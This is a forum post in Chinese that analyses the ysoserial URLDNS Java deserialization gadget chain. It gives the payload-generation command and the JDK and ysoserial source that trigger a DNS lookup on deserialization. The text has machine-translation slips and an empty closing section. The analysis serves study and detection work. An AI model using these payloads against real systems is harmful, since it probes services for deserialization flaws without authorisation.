ToB企服应用市场:ToB评测及商务社交产业平台

标题: 02URLDNS链 [打印本页]

作者: 灌篮少年    时间: 2025-1-3 12:43
标题: 02URLDNS链
ysoserial简朴入手

简朴了解ysoserial

  1. # URLDNS为利用链,http://test.io为要执行的命令,当然这里由于URLDNS的特殊性,不能执行命令,这里的链接只是进行一次dnslog,payload.bin则是将序列化对象输出到文件
  2. java -jar ysoserial-all.jar URLDNS http://test.io > payload.bin
复制代码

ysoserial的对于URLDNS的简朴调试

前面对于ysoserial的使用只是直接天生了攻击的序列化对象,我们并不了解整个攻击链的形成,借助对于ysoserial源码的分析,我们可以了解整个攻击链是如何形成的.我们可以通过调试ysoserial的源码,了解一条序列化链从天生到执行的全过程.



接下来让我们简朴分析一下URLDNS序列化和反序列化的过程:
分析URLDNS

  1. // PayloadRunner调研相关工具类反序列化对象
  2. final Object objAfter = Deserializer.deserialize(serialized);
  3. // 反序列化的方法
  4. public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
  5.                 final ObjectInputStream objIn = new ObjectInputStream(in);
  6.                 return objIn.readObject();
  7.         }
  8. // 反序列化目标HashMap对象自身的readObject,在putVal(hash(key), key, value, false, false);的hash(key)进入下一步,key是URL类
  9. private void readObject(ObjectInputStream s)
  10.         throws IOException, ClassNotFoundException {
  11.         ObjectInputStream.GetField fields = s.readFields();
  12.         // Read loadFactor (ignore threshold)
  13.         float lf = fields.get("loadFactor", 0.75f);
  14.         if (lf <= 0 || Float.isNaN(lf))
  15.             throw new InvalidObjectException("Illegal load factor: " + lf);
  16.         lf = Math.min(Math.max(0.25f, lf), 4.0f);
  17.         HashMap.UnsafeHolder.putLoadFactor(this, lf);
  18.         reinitialize();
  19.         s.readInt();                // Read and ignore number of buckets
  20.         int mappings = s.readInt(); // Read number of mappings (size)
  21.         if (mappings < 0) {
  22.             throw new InvalidObjectException("Illegal mappings count: " + mappings);
  23.         } else if (mappings == 0) {
  24.             // use defaults
  25.         } else if (mappings > 0) {
  26.             float fc = (float)mappings / lf + 1.0f;
  27.             int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  28.                        DEFAULT_INITIAL_CAPACITY :
  29.                        (fc >= MAXIMUM_CAPACITY) ?
  30.                        MAXIMUM_CAPACITY :
  31.                        tableSizeFor((int)fc));
  32.             float ft = (float)cap * lf;
  33.             threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  34.                          (int)ft : Integer.MAX_VALUE);
  35.             // Check Map.Entry[].class since it's the nearest public type to
  36.             // what we're actually creating.
  37.             SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
  38.             @SuppressWarnings({"rawtypes","unchecked"})
  39.             Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  40.             table = tab;
  41.             // Read the keys and values, and put the mappings in the HashMap
  42.             for (int i = 0; i < mappings; i++) {
  43.                 @SuppressWarnings("unchecked")
  44.                     K key = (K) s.readObject();
  45.                 @SuppressWarnings("unchecked")
  46.                     V value = (V) s.readObject();
  47.                 putVal(hash(key), key, value, false, false);
  48.             }
  49.         }
  50.     }
  51. // 又调用了URL的hashCode()
  52. static final int hash(Object key) {
  53.         int h;
  54.         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  55.     }
  56. // handler.hashCode(this)又调用了URLStreamHandler的hashCode
  57. public synchronized int hashCode() {
  58.         if (hashCode != -1)
  59.             return hashCode;
  60.         hashCode = handler.hashCode(this);
  61.         return hashCode;
  62.     }
  63. // 关注InetAddress addr = getHostAddress(u);继续跟进
  64. protected int hashCode(URL u) {
  65.         int h = 0;
  66.         // Generate the protocol part.
  67.         String protocol = u.getProtocol();
  68.         if (protocol != null)
  69.             h += protocol.hashCode();
  70.         // Generate the host part.
  71.         InetAddress addr = getHostAddress(u);
  72.         if (addr != null) {
  73.             h += addr.hashCode();
  74.         } else {
  75.             String host = u.getHost();
  76.             if (host != null)
  77.                 h += host.toLowerCase().hashCode();
  78.         }
  79.         // Generate the file part.
  80.         String file = u.getFile();
  81.         if (file != null)
  82.             h += file.hashCode();
  83.         // Generate the port part.
  84.         if (u.getPort() == -1)
  85.             h += getDefaultPort();
  86.         else
  87.             h += u.getPort();
  88.         // Generate the ref part.
  89.         String ref = u.getRef();
  90.         if (ref != null)
  91.             h += ref.hashCode();
  92.         return h;
  93.     }
  94. // 实际上调研了URL类的getHostAddress
  95. protected InetAddress getHostAddress(URL u) {
  96.         return u.getHostAddress();
  97.     }
  98. //  hostAddress = InetAddress.getByName(host)已经很直观了,从方法名和变量名就可以看出从host获取ip,就进行了dns查询
  99. synchronized InetAddress getHostAddress() {
  100.         if (hostAddress != null) {
  101.             return hostAddress;
  102.         }
  103.         if (host == null || host.isEmpty()) {
  104.             return null;
  105.         }
  106.         try {
  107.             hostAddress = InetAddress.getByName(host);
  108.         } catch (UnknownHostException | SecurityException ex) {
  109.             return null;
  110.         }
  111.         return hostAddress;
  112.     }
复制代码
  1. public Object getObject(final String url) throws Exception {
  2.                 // SilentURLStreamHandler是我们继承URLStreamHandler实现的一个类,这里没有什么实际意义,只是为了满足new URL类时的参数要求
  3.                 URLStreamHandler handler = new SilentURLStreamHandler();
  4.                 // HashMap的readObject是触发漏洞的直接原因
  5.                 HashMap ht = new HashMap();
  6.                 URL u = new URL(null, url, handler);
  7.                 ht.put(u, url);
  8.                 Reflections.setFieldValue(u, "hashCode", -1);
  9.                 return ht;
  10.         }
  11. static class SilentURLStreamHandler extends URLStreamHandler {
  12.                 protected URLConnection openConnection(URL u) throws IOException {
  13.                         return null;
  14.                 }
  15.                 protected synchronized InetAddress getHostAddress(URL u) {
  16.                         return null;
  17.                 }
  18.         }
复制代码
URLDNS的特殊意义


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4